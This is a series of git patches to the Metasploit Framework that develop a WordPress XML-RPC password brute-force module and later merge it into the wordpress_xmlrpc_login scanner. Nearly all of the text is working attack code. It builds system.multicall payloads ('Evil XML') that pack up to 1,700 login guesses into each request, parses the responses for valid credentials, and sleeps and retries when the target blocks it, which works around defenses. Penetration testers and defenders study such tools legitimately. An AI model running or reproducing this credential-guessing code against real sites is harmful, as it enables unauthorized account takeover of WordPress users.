OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line', - File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), - OptPath.new('WPPASS_FILE', [ true, 'File containing passwords, one per line', - File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]) + OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line', + File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), + OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line', + File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]), + OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]) ], self.class) register_advanced_options( [ - OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]), - OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]) + OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]), + OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]) ], self.class) end @@ -51,72 +52,70 @@ class Metasploit3 < Msf::Auxiliary File.readlines(datastore['WPPASS_FILE']).map {|pass| pass.chomp} end - def generate_xml user + def generate_xml(user) - print_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500 + vprint_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500 xml_payloads = [] # Container for all generated XMLs xml = "" # Evil XML | Limit number of log-ins to 1700/request for wordpress limitation passwords.each_slice(1500) do |pass_group| - xml = "\n" - xml << "\n" - xml << "system.multicall\n" - xml << "\n" - xml << " \n" - pass_group.each do |pass| + document = Nokogiri::XML::Builder.new do |xml| + xml.methodCall { + xml.methodName("system.multicall") + xml.params { + xml.param { + xml.value { + xml.array { + xml.data { - xml << " \n" - xml << " \n" - xml << " methodName\n" - xml << " wp.getUsersBlogs\n" - xml << " \n" - xml << " \n" - xml << " params\n" - xml << " \n" - xml << " #{user}\n" - xml << " #{pass}\n" - xml << " \n" - xml << " \n" - xml << " \n" - xml << " \n" + pass_group.each do |pass| + xml.value { + xml.struct { + xml.member { + xml.name("methodName") + xml.value { xml.string("wp.getUsersBlogs") }} + xml.member { + xml.name("params") + xml.value { + xml.array { + xml.data { + xml.value { + xml.array { + xml.data { + xml.value { xml.string(user) } + xml.value { xml.string(pass) } + }}}}}}}}} + end + }}}}}} end - xml << " \n" - xml << "\n" - xml << "" - xml_payloads << xml + xml_payloads << document.to_xml end - print_status('Generating XMLs just done.') - return xml_payloads + vprint_status('Generating XMLs just done.') + xml_payloads end + # # Check target status # def check_wpstatus print_status("Checking #{peer} status!") - case - when !wordpress_and_online? - print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress or you got blocked!") - :abort - when !wordpress_xmlrpc_enabled? - print_error("#{rhost}:#{rport}#{target_uri} does not enable XMLRPC") - :abort - else - print_status("Target #{peer} is running Wordpress") + if !wordpress_and_online? + print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress or you got blocked!") + return + elsif !wordpress_xmlrpc_enabled? + print_error("#{rhost}:#{rport}#{target_uri} does not enable XMLRPC") + return + else + print_status("Target #{peer} is running Wordpress") end end - def parse_response(res) - - resp.scan(/Incorrect username or password/) - - end - def run check_wpstatus @@ -129,10 +128,10 @@ class Metasploit3 < Msf::Auxiliary opts = { - 'method' => 'POST', - 'uri' => wordpress_url_xmlrpc, - 'data' => xml, - 'ctype' =>'text/xml' + 'method' => 'POST', + 'uri' => wordpress_url_xmlrpc, + 'data' => xml, + 'ctype' =>'text/xml' } client = Rex::Proto::Http::Client.new(rhost) @@ -151,20 +150,18 @@ class Metasploit3 < Msf::Auxiliary # If this gives exception then its the correct password value.struct.member[1].value.string.text rescue - user = req_xml.document.methodCall.params.param.value.array.data.value[i].struct.member[1].value.array.data.value.array.data.value[0].text - pass = req_xml.document.methodCall.params.param.value.array.data.value[i].struct.member[1].value.array.data.value.array.data.value[1].text + user = req_xml.document.methodCall.params.param.value.array.data.value[i].struct.member[1].value.array.data.value.array.data.value[0].text.strip + pass = req_xml.document.methodCall.params.param.value.array.data.value[i].struct.member[1].value.array.data.value.array.data.value[1].text.strip - print_good("Credentials Found! #{user}:#{pass}") + print_good("Credentials Found! #{user}:#{pass}") passfound = true end end rescue NoMethodError - print_error("It seems you got blocked!") - print_warning("I'll sleep for 6 minutes then I'll try again. CTR+C to exit") - sleep 6 * 60 + print_error('It seems you got blocked!') + print_warning("I'll sleep for #{datastore['BLOCKEDWAIT']} minutes then I'll try again. CTR+C to exit") + sleep datastore['BLOCKEDWAIT'] * 60 retry - # return :abort end - print_status('Taking a nap for 2 seconds..') sleep 2 end end end From 137c2e214e909ea57695c89dcc0121409aad0d61 Mon Sep 17 00:00:00 2001 From: KINGSABRI Date: Wed, 11 Nov 2015 02:01:01 +0300 Subject: [PATCH 11/33] Fix the comment --- modules/auxiliary/gather/ip2location.rb | 0 .../scanner/http/wordpress_xmlrpc_massive_bruteforce.rb | 5 ++--- 2 files changed, 2 insertions(+), 3 deletions(-) create mode 100644 modules/auxiliary/gather/ip2location.rb diff --git a/modules/auxiliary/gather/ip2location.rb b/modules/auxiliary/gather/ip2location.rb new file mode 100644 index 0000000000..e69de29bb2 diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index 367878cbe2..3de13ae301 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -56,8 +56,8 @@ class Metasploit3 < Msf::Auxiliary vprint_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500 xml_payloads = [] # Container for all generated XMLs - xml = "" - # Evil XML | Limit number of log-ins to 1700/request for wordpress limitation + + # Evil XML | Limit number of log-ins to 1500/request due wordpress limitation passwords.each_slice(1500) do |pass_group| document = Nokogiri::XML::Builder.new do |xml| @@ -98,7 +98,6 @@ class Metasploit3 < Msf::Auxiliary xml_payloads end - # # Check target status # From 7b3cfa79f3f001b0ca029d883a1632225f4adc53 Mon Sep 17 00:00:00 2001 From: KINGSABRI Date: Wed, 11 Nov 2015 02:13:34 +0300 Subject: [PATCH 12/33] Remove ip2location module --- modules/auxiliary/gather/ip2location.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 modules/auxiliary/gather/ip2location.rb diff --git a/modules/auxiliary/gather/ip2location.rb b/modules/auxiliary/gather/ip2location.rb deleted file mode 100644 index e69de29bb2..0000000000 From 136fa12ac9aa254e59f76ad6d32b6f961c2e2186 Mon Sep 17 00:00:00 2001 From: KINGSABRI Date: Wed, 11 Nov 2015 06:02:13 +0300 Subject: [PATCH 13/33] Remove unused advanced options --- .../scanner/http/wordpress_xmlrpc_massive_bruteforce.rb | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index 3de13ae301..a8b1ec5400 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -35,13 +35,6 @@ class Metasploit3 < Msf::Auxiliary File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]), OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]) ], self.class) - - - register_advanced_options( - [ - OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]), - OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]) - ], self.class) end def usernames @@ -161,6 +154,7 @@ class Metasploit3 < Msf::Auxiliary sleep datastore['BLOCKEDWAIT'] * 60 retry end + vprint_status('Sleeping for 2 seconds..') sleep 2 end end end From cf0cb2df9ea669ac6668a8d8500bd428adb7707b Mon Sep 17 00:00:00 2001 From: KINGSABRI Date: Wed, 11 Nov 2015 06:24:52 +0300 Subject: [PATCH 14/33] Add TARGETURI option --- .../scanner/http/wordpress_xmlrpc_massive_bruteforce.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index a8b1ec5400..dcd68051e7 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -29,6 +29,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ + OptString.new('TARGETURI', [true, 'The base path', '/']), OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line', File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line', @@ -118,10 +119,11 @@ class Metasploit3 < Msf::Auxiliary generate_xml(user).each do |xml| break if passfound == true + uri = target_uri.path opts = { 'method' => 'POST', - 'uri' => wordpress_url_xmlrpc, + 'uri' => normalize_uri(uri, wordpress_url_xmlrpc), 'data' => xml, 'ctype' =>'text/xml' } From 2abfa1f241e3cdeb5ebc28bb324e0c346416ed12 Mon Sep 17 00:00:00 2001 From: KINGSABRI Date: Thu, 12 Nov 2015 05:30:07 +0300 Subject: [PATCH 15/33] Fix exceptions and XML parsing --- .../wordpress_xmlrpc_massive_bruteforce.rb | 95 +++++++++++-------- 1 file changed, 55 insertions(+), 40 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index 99280dcfb4..816290c282 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -46,11 +46,13 @@ class Metasploit3 < Msf::Auxiliary File.readlines(datastore['WPPASS_FILE']).map {|pass| pass.chomp} end + # + # XML Factory + # def generate_xml(user) vprint_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500 xml_payloads = [] # Container for all generated XMLs - # Evil XML | Limit number of log-ins to 1500/request for wordpress limitation passwords.each_slice(1500) do |pass_group| @@ -99,65 +101,78 @@ class Metasploit3 < Msf::Auxiliary print_status("Checking #{peer} status!") if !wordpress_and_online? - print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress or you got blocked!") - return + print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running Wordpress or you got blocked! (Do Manual Check)") + nil elsif !wordpress_xmlrpc_enabled? - print_error("#{rhost}:#{rport}#{target_uri} does not enable XMLRPC") - return + print_error("#{rhost}:#{rport}#{wordpress_url_xmlrpc} does not enable XMLRPC") + nil else print_status("Target #{peer} is running Wordpress") + true end + + end + + # + # Connection Setup + # + def connecting(xml) + uri = target_uri.path + opts = + { + 'method' => 'POST', + 'uri' => normalize_uri(uri, wordpress_url_xmlrpc), + 'data' => xml, + 'ctype' =>'text/xml' + } + client = Rex::Proto::Http::Client.new(rhost) + client.connect + request = client.request_cgi(opts) + response = client.send_recv(request) + + if response.code != 200 + print_error('It seems you got blocked!') + print_warning("I'll sleep for #{datastore['BLOCKEDWAIT']} minutes, then I'll try again. CTR+C to exit") + sleep datastore['BLOCKEDWAIT'] * 60 + end + @response = response end def run - check_wpstatus + return if check_wpstatus.nil? usernames.each do |user| passfound = false print_status("Bruteforcing user: #{user}") generate_xml(user).each do |xml| - break if passfound == true + next if passfound == true - uri = target_uri.path - opts = - { - 'method' => 'POST', - 'uri' => normalize_uri(uri, wordpress_url_xmlrpc), - 'data' => xml, - 'ctype' =>'text/xml' - } - - client = Rex::Proto::Http::Client.new(rhost) - client.connect - request = client.request_cgi(opts) - response = client.send_recv(request) + connecting(xml) # Request Parser req_xml = Nokogiri::Slop xml # Response Parser - res_xml = Nokogiri::Slop response.to_s.scan(/<.*>/).join + res_xml = Nokogiri::Slop @response.to_s.scan(/<.*>/).join - begin - res_xml.document.methodResponse.params.param.value.array.data.value.each_with_index do |value, i| - begin - # If this gives exception then its the correct password - value.struct.member[1].value.string.text - rescue - user = req_xml.document.methodCall.params.param.value.array.data.value[i].struct.member[1].value.array.data.value.array.data.value[0].text.strip - pass = req_xml.document.methodCall.params.param.value.array.data.value[i].struct.member[1].value.array.data.value.array.data.value[1].text.strip + res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i| + + result = value.at("struct/member/value/int") + # If response error code doesn't not exist + if result.nil? + user = req_xml.search("data/value/array/data")[i].value[0].text.strip + pass = req_xml.search("data/value/array/data")[i].value[1].text.strip + print_good("Credentials Found! #{user}:#{pass}") + + passfound = true + end - print_good("Credentials Found! #{user}:#{pass}") - passfound = true - end end - rescue NoMethodError - print_error('It seems you got blocked!') - print_warning("I'll sleep for #{datastore['BLOCKEDWAIT']} minutes then I'll try again. CTR+C to exit") - sleep datastore['BLOCKEDWAIT'] * 60 - retry end - vprint_status('Sleeping for 2 seconds..') - sleep 2 - end end end + unless user == usernames.last + vprint_status('Sleeping for 2 seconds..') + sleep 2 + end + + end end end end From 530a7bb613947d90afe1be0279e6e96638cb6049 Mon Sep 17 00:00:00 2001 From: KINGSABRI Date: Thu, 12 Nov 2015 08:42:00 +0300 Subject: [PATCH 16/33] Fix peer, naming, and add resp check to the code check --- modules/auxiliary/gather/ip2location.rb | 0 .../http/wordpress_xmlrpc_massive_bruteforce.rb | 14 +++++++------- 2 files changed, 7 insertions(+), 7 deletions(-) create mode 100644 modules/auxiliary/gather/ip2location.rb diff --git a/modules/auxiliary/gather/ip2location.rb b/modules/auxiliary/gather/ip2location.rb new file mode 100644 index 0000000000..e69de29bb2 diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index 816290c282..bd05b3f518 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info( info, - 'Name' => 'WordPress XMLRPC Massive Bruteforce ', + 'Name' => 'WordPress XMLRPC Massive Bruteforce', 'Description' => %q{Wordpress Massive Burteforce attacks via wordpress XMLRPC service.}, 'License' => MSF_LICENSE, 'Author' => @@ -101,10 +101,10 @@ class Metasploit3 < Msf::Auxiliary print_status("Checking #{peer} status!") if !wordpress_and_online? - print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running Wordpress or you got blocked! (Do Manual Check)") + print_error("#{peer}:#{rport}#{target_uri} does not appear to be running Wordpress or you got blocked! (Do Manual Check)") nil elsif !wordpress_xmlrpc_enabled? - print_error("#{rhost}:#{rport}#{wordpress_url_xmlrpc} does not enable XMLRPC") + print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XMLRPC") nil else print_status("Target #{peer} is running Wordpress") @@ -127,15 +127,15 @@ class Metasploit3 < Msf::Auxiliary } client = Rex::Proto::Http::Client.new(rhost) client.connect - request = client.request_cgi(opts) - response = client.send_recv(request) + req = client.request_cgi(opts) + res = client.send_recv(req) - if response.code != 200 + if res && res.code != 200 print_error('It seems you got blocked!') print_warning("I'll sleep for #{datastore['BLOCKEDWAIT']} minutes, then I'll try again. CTR+C to exit") sleep datastore['BLOCKEDWAIT'] * 60 end - @response = response + @response = res end def run From ee312f86f6269d89a46c24a6a743d49077d92747 Mon Sep 17 00:00:00 2001 From: KINGSABRI Date: Thu, 12 Nov 2015 08:50:46 +0300 Subject: [PATCH 17/33] Fix peer, naming, and add resp check to the code check --- .../scanner/http/wordpress_xmlrpc_massive_bruteforce.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index bd05b3f518..bea0de1071 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -135,7 +135,7 @@ class Metasploit3 < Msf::Auxiliary print_warning("I'll sleep for #{datastore['BLOCKEDWAIT']} minutes, then I'll try again. CTR+C to exit") sleep datastore['BLOCKEDWAIT'] * 60 end - @response = res + @res = res end def run @@ -153,7 +153,7 @@ class Metasploit3 < Msf::Auxiliary # Request Parser req_xml = Nokogiri::Slop xml # Response Parser - res_xml = Nokogiri::Slop @response.to_s.scan(/<.*>/).join + res_xml = Nokogiri::Slop @res.to_s.scan(/<.*>/).join res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i| From c2c89124b40f00a92e6efd13b8274a11ae7f3e70 Mon Sep 17 00:00:00 2001 From: KINGSABRI Date: Thu, 12 Nov 2015 08:58:07 +0300 Subject: [PATCH 18/33] Remove it :@ --- modules/auxiliary/gather/ip2location.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 modules/auxiliary/gather/ip2location.rb diff --git a/modules/auxiliary/gather/ip2location.rb b/modules/auxiliary/gather/ip2location.rb deleted file mode 100644 index e69de29bb2..0000000000 From 881b12f0ab1b3f8a92765c205ca195495caf6144 Mon Sep 17 00:00:00 2001 From: KINGSABRI Date: Thu, 12 Nov 2015 18:16:39 +0300 Subject: [PATCH 19/33] Fix rebease conflic --- .../wordpress_xmlrpc_massive_bruteforce.rb | 80 +++++++++---------- 1 file changed, 40 insertions(+), 40 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index bea0de1071..067cce048a 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -16,26 +16,26 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q{Wordpress Massive Burteforce attacks via wordpress XMLRPC service.}, 'License' => MSF_LICENSE, 'Author' => - [ - 'Sabri (@KINGSABRI)', # Module Writer - 'William (WCoppola@Lares.com)' # Module Requester - ], + [ + 'Sabri (@KINGSABRI)', # Module Writer + 'William (WCoppola@Lares.com)' # Module Requester + ], 'References' => - [ - ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'], - ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html'] - ] + [ + ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'], + ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html'] + ] )) register_options( - [ - OptString.new('TARGETURI', [true, 'The base path', '/']), - OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line', - File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), - OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line', - File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]), - OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]) - ], self.class) + [ + OptString.new('TARGETURI', [true, 'The base path', '/']), + OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line', + File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), + OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line', + File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]), + OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]) + ], self.class) end def usernames @@ -60,31 +60,31 @@ class Metasploit3 < Msf::Auxiliary xml.methodCall { xml.methodName("system.multicall") xml.params { - xml.param { - xml.value { - xml.array { - xml.data { + xml.param { + xml.value { + xml.array { + xml.data { - pass_group.each do |pass| - xml.value { - xml.struct { - xml.member { - xml.name("methodName") - xml.value { xml.string("wp.getUsersBlogs") }} - xml.member { - xml.name("params") - xml.value { - xml.array { - xml.data { - xml.value { - xml.array { - xml.data { - xml.value { xml.string(user) } - xml.value { xml.string(pass) } - }}}}}}}}} - end + pass_group.each do |pass| + xml.value { + xml.struct { + xml.member { + xml.name("methodName") + xml.value { xml.string("wp.getUsersBlogs") }} + xml.member { + xml.name("params") + xml.value { + xml.array { + xml.data { + xml.value { + xml.array { + xml.data { + xml.value { xml.string(user) } + xml.value { xml.string(pass) } + }}}}}}}}} + end - }}}}}} + }}}}}} end xml_payloads << document.to_xml @@ -174,5 +174,5 @@ class Metasploit3 < Msf::Auxiliary sleep 2 end - end end end + end end end end From 732563614b5044048d69db6a9e2e22b03ffa556a Mon Sep 17 00:00:00 2001 From: KINGSABRI Date: Thu, 12 Nov 2015 20:26:17 +0300 Subject: [PATCH 20/33] Change connecting method to send for better code naming --- .../wordpress_xmlrpc_massive_bruteforce.rb | 88 +++++++++---------- 1 file changed, 44 insertions(+), 44 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index 067cce048a..f4e4c31458 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -16,26 +16,26 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q{Wordpress Massive Burteforce attacks via wordpress XMLRPC service.}, 'License' => MSF_LICENSE, 'Author' => - [ - 'Sabri (@KINGSABRI)', # Module Writer - 'William (WCoppola@Lares.com)' # Module Requester - ], + [ + 'Sabri (@KINGSABRI)', # Module Writer + 'William (WCoppola@Lares.com)' # Module Requester + ], 'References' => - [ - ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'], - ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html'] - ] + [ + ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'], + ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html'] + ] )) register_options( - [ - OptString.new('TARGETURI', [true, 'The base path', '/']), - OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line', - File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), - OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line', - File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]), - OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]) - ], self.class) + [ + OptString.new('TARGETURI', [true, 'The base path', '/']), + OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line', + File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), + OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line', + File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]), + OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]) + ], self.class) end def usernames @@ -60,31 +60,31 @@ class Metasploit3 < Msf::Auxiliary xml.methodCall { xml.methodName("system.multicall") xml.params { - xml.param { - xml.value { - xml.array { - xml.data { + xml.param { + xml.value { + xml.array { + xml.data { - pass_group.each do |pass| - xml.value { - xml.struct { - xml.member { - xml.name("methodName") - xml.value { xml.string("wp.getUsersBlogs") }} - xml.member { - xml.name("params") - xml.value { - xml.array { - xml.data { - xml.value { - xml.array { - xml.data { - xml.value { xml.string(user) } - xml.value { xml.string(pass) } - }}}}}}}}} - end + pass_group.each do |pass| + xml.value { + xml.struct { + xml.member { + xml.name("methodName") + xml.value { xml.string("wp.getUsersBlogs") }} + xml.member { + xml.name("params") + xml.value { + xml.array { + xml.data { + xml.value { + xml.array { + xml.data { + xml.value { xml.string(user) } + xml.value { xml.string(pass) } + }}}}}}}}} + end - }}}}}} + }}}}}} end xml_payloads << document.to_xml @@ -116,8 +116,8 @@ class Metasploit3 < Msf::Auxiliary # # Connection Setup # - def connecting(xml) - uri = target_uri.path + def send(xml) + uri = target_uri.path opts = { 'method' => 'POST', @@ -148,7 +148,7 @@ class Metasploit3 < Msf::Auxiliary generate_xml(user).each do |xml| next if passfound == true - connecting(xml) + send(xml) # Request Parser req_xml = Nokogiri::Slop xml @@ -174,5 +174,5 @@ class Metasploit3 < Msf::Auxiliary sleep 2 end - end end end -end + end end end +end \ No newline at end of file From ab71d943928f57ede1ecdfaf6dab419b0e402737 Mon Sep 17 00:00:00 2001 From: KINGSABRI Date: Thu, 12 Nov 2015 23:02:48 +0300 Subject: [PATCH 21/33] Make CHUNKSIZE user configurable. Thanks @jhart-r7 --- .../scanner/http/wordpress_xmlrpc_massive_bruteforce.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index f4e4c31458..6e90483ad4 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -34,7 +34,8 @@ class Metasploit3 < Msf::Auxiliary File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line', File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]), - OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]) + OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]), + OptInt.new('CHUNKSIZE', [true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500]) ], self.class) end @@ -53,8 +54,8 @@ class Metasploit3 < Msf::Auxiliary vprint_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500 xml_payloads = [] # Container for all generated XMLs - # Evil XML | Limit number of log-ins to 1500/request for wordpress limitation - passwords.each_slice(1500) do |pass_group| + # Evil XML | Limit number of log-ins to CHUNKSIZE/request due Wordpress limitation which is 1700 maximum. + passwords.each_slice(datastore['CHUNKSIZE']) do |pass_group| document = Nokogiri::XML::Builder.new do |xml| xml.methodCall { @@ -175,4 +176,4 @@ class Metasploit3 < Msf::Auxiliary end end end end -end \ No newline at end of file +end From b1abfe898d0359dc0ee2e5a16250cb0dd03dd96d Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 24 Nov 2015 16:30:34 -0600 Subject: [PATCH 22/33] Update wordpress_xmlrpc_login Replace the wordpress_xmlrpc_login code with wordpress_xmlrpc_massive_bruteforce.rb, which should run a lot faster. --- .../framework/login_scanner/wordpress_rpc.rb | 165 ++++++++++------ .../scanner/http/wordpress_xmlrpc_login.rb | 113 ++++++----- .../wordpress_xmlrpc_massive_bruteforce.rb | 179 ------------------ 3 files changed, 171 insertions(+), 286 deletions(-) delete mode 100644 modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb diff --git a/lib/metasploit/framework/login_scanner/wordpress_rpc.rb b/lib/metasploit/framework/login_scanner/wordpress_rpc.rb index 8b67147a67..b6c98def53 100644 --- a/lib/metasploit/framework/login_scanner/wordpress_rpc.rb +++ b/lib/metasploit/framework/login_scanner/wordpress_rpc.rb @@ -1,4 +1,5 @@ require 'metasploit/framework/login_scanner/http' +require 'nokogiri' module Metasploit module Framework @@ -7,70 +8,116 @@ module Metasploit # Wordpress XML RPC login scanner class WordpressRPC < HTTP - # (see Base#attempt_login) + attr_accessor :passwords + + attr_accessor :chunk_size + + attr_accessor :block_wait + + attr_accessor :base_uri + + attr_reader :wordpress_url_xmlrpc + + def set_default + self.wordpress_url_xmlrpc = 'xmlrpc.php' + end + + def generate_xml(user) + xml_payloads = [] + + # Evil XML | Limit number of log-ins to CHUNKSIZE/request due Wordpress limitation which is 1700 maximum. + passwords.each_slice(chunk_size) do |pass_group| + document = Nokogiri::XML::Builder.new do |xml| + xml.methodCall { + xml.methodName("system.multicall") + xml.params { + xml.param { + xml.value { + xml.array { + xml.data { + pass_group.each do |pass| + #$stderr.puts "Trying: #{user}:#{pass}" + xml.value { + xml.struct { + xml.member { + xml.name("methodName") + xml.value { xml.string("wp.getUsersBlogs") }} + xml.member { + xml.name("params") + xml.value { + xml.array { + xml.data { + xml.value { + xml.array { + xml.data { + xml.value { xml.string(user) } + xml.value { xml.string(pass) } + }}}}}}}}} + end + }}}}}} + end + xml_payloads << document.to_xml + end + + xml_payloads + end + + def send(xml) + opts = + { + 'method' => 'POST', + 'uri' => normalize_uri("#{base_uri}/#{wordpress_url_xmlrpc}"), + 'data' => xml, + 'ctype' =>'text/xml' + } + + client = Rex::Proto::Http::Client.new(rhost) + client.connect + req = client.request_cgi(opts) + res = client.send_recv(req) + + if res && res.code != 200 + sleep(block_wait * 60) + end + + @res = res + end + + def attempt_login(credential) - http_client = Rex::Proto::Http::Client.new( - host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies - ) - configure_http_client(http_client) + #$stderr.puts "Testing: #{credential.public}" + generate_xml(credential.public).each do |xml| + send(xml) + req_xml = Nokogiri::Slop(xml) + res_xml = Nokogiri::Slop(@res.to_s.scan(/<.*>/).join) + res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i| + result = 